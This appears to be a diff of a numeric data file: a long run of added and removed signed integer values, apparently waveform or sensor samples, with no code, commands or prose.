+59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-84 +-118 +-76 +-20 +29 +72 +106 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 -16 -169 -322 -203 -0 --186 --338 --203 -0 -186 -322 -203 -16 --186 --322 --203 -0 -186 -322 -220 -16 --186 --338 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -16 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -16 -203 -338 -457 -305 -67 --169 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -305 -67 --135 --322 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --271 +38 +80 +110 +76 +21 -33 -169 -322 -237 -50 --135 --288 --152 -50 -254 -389 -288 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -474 -322 -67 --152 --338 --474 --322 --101 -101 -288 -406 -271 -50 --169 --355 --474 --322 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -33 --135 --288 --152 -50 -254 -389 -288 -84 --118 --254 --135 -67 -254 -406 -271 -84 --118 --271 --135 -50 -254 -389 -271 -67 --135 --288 --152 -50 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --152 -50 -237 -389 -271 -84 --118 --254 --135 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -372 -254 -33 --152 --305 --186 -16 -203 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --186 --322 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --186 --338 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -254 -33 --169 --355 --474 --322 --84 -135 -305 -440 -305 -84 --118 --288 --423 --254 --33 -186 -355 -491 -355 -135 --84 --271 --406 --237 +-76 +-109 +-71 -16 -186 -355 -474 -322 -101 --118 --305 --440 --288 +38 +80 +114 +76 +21 +-29 +-76 +-109 -67 -152 -305 -440 -305 -67 --135 --322 --457 --305 --67 -135 -305 -440 -305 -101 --101 --271 --135 -50 -237 -372 -254 -50 --152 --305 --169 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --338 --474 --322 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 +-12 +38 84 --135 --305 --457 --288 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --101 --288 --423 --271 --50 -169 -338 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -322 -101 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --152 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -16 -203 -355 -457 -305 -67 --169 --355 --474 --322 --101 -101 -288 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -305 -67 --135 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -101 --118 --305 --423 --271 +114 +80 +25 +-25 +-63 +-29 +17 +63 +97 +68 +17 -33 -186 -338 -237 -50 --135 --271 --135 -67 -271 -406 -305 -101 --84 --237 --118 -84 -271 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -220 -372 -474 -305 -67 --152 --338 --491 --338 --101 -101 -271 -406 -271 -33 --169 --355 --491 --322 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 -67 -135 -322 -440 -305 -67 --135 --322 --457 --288 --50 -152 -322 -457 -322 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -457 -322 -101 --101 --288 --423 --271 --50 -169 -338 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --305 --440 --271 +-37 +12 +59 +93 +68 +17 -33 -169 -338 -237 -50 --135 --271 --135 -67 -254 -406 -288 -84 --101 --254 --135 -67 -271 -406 -288 -84 --118 --271 --135 -50 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --169 --355 --491 --322 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 -67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --135 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --288 --423 --271 +-37 +12 +59 +93 +63 +12 -33 -169 -338 -474 -338 -135 --67 --237 --118 +-71 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 84 -271 -406 -288 +59 +8 +-42 +-76 +-46 +4 +51 84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --135 --288 --169 -50 -237 -372 -271 -67 --118 --271 --152 -50 -237 -372 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -16 --186 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -440 -288 -33 --169 --372 --508 --355 --118 +59 +8 +-42 +-80 +-46 +4 +51 84 -271 -389 -254 -33 --186 --355 --491 --338 --101 -101 -288 -406 -288 -50 --152 --338 --474 --322 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-88 +-122 -84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -67 --135 --322 --440 --288 --50 -152 -322 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -457 -322 -84 --118 --305 --440 --271 --50 -152 -338 -457 -322 +-25 +25 +72 101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --288 --423 --271 --33 -169 -338 -474 -322 -101 --101 --288 --423 --254 +68 +12 +-37 +-84 +-114 +-76 -16 -203 -355 -271 -84 --101 --254 --101 -101 -305 -440 -338 -135 --67 --220 --84 -101 -288 -423 -305 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --288 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --203 -0 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -457 -305 -67 --169 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --84 -118 -305 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -84 --118 --305 --423 --271 +34 +76 +110 +76 +21 -33 -169 -338 -237 -50 --135 --288 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -50 --135 --288 --152 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --135 --288 --152 -50 -237 -389 -271 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --169 -33 -220 -355 -237 -33 --169 --322 --203 -16 -203 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -0 -186 -322 -203 -0 --186 --338 --203 -0 -186 -322 -220 -16 --186 --322 --203 -0 -186 -338 -220 -33 --169 --338 --491 --338 --101 -101 -271 -406 -271 -50 --169 --338 --474 --322 --84 -135 -305 -440 -288 -67 --152 --322 --457 --305 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +80 +25 +-29 +-76 +-105 -67 -135 -305 -440 -305 -67 --135 --322 --457 --288 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 -67 -152 -322 -440 -305 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -101 --118 --288 --423 --271 --50 -152 -322 -457 -305 +59 +8 +-42 +-76 +-46 +4 +51 84 --118 --305 --440 --271 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 -50 -152 -338 -457 -322 -101 --118 --305 --440 --271 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 -50 -169 -338 -457 -322 -101 --118 --305 --440 --271 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 -50 -152 -322 -457 -322 -101 --118 --305 --423 --271 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 -50 -169 -338 -457 -322 -101 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +118 +76 +17 +-37 +-88 +-122 -84 --237 --118 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-122 +-80 +-25 +29 +72 +101 +72 +12 +-37 +-84 +-114 +-76 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-71 +-37 +17 +63 +101 +72 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +8 +-46 +-88 +-122 +-84 +-25 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +42 84 -254 -406 -288 -67 +118 +84 +34 +-16 +-59 +-29 +21 +63 +101 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-84 -118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -220 -355 -237 +-76 +-20 +29 +72 +106 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +114 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-63 +-8 +46 +84 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +12 +59 +93 +68 +12 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +118 +80 +21 +-33 +-84 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-33 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-71 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +8 +-42 +-88 +-122 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-71 +-109 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +106 +72 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +17 +-33 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 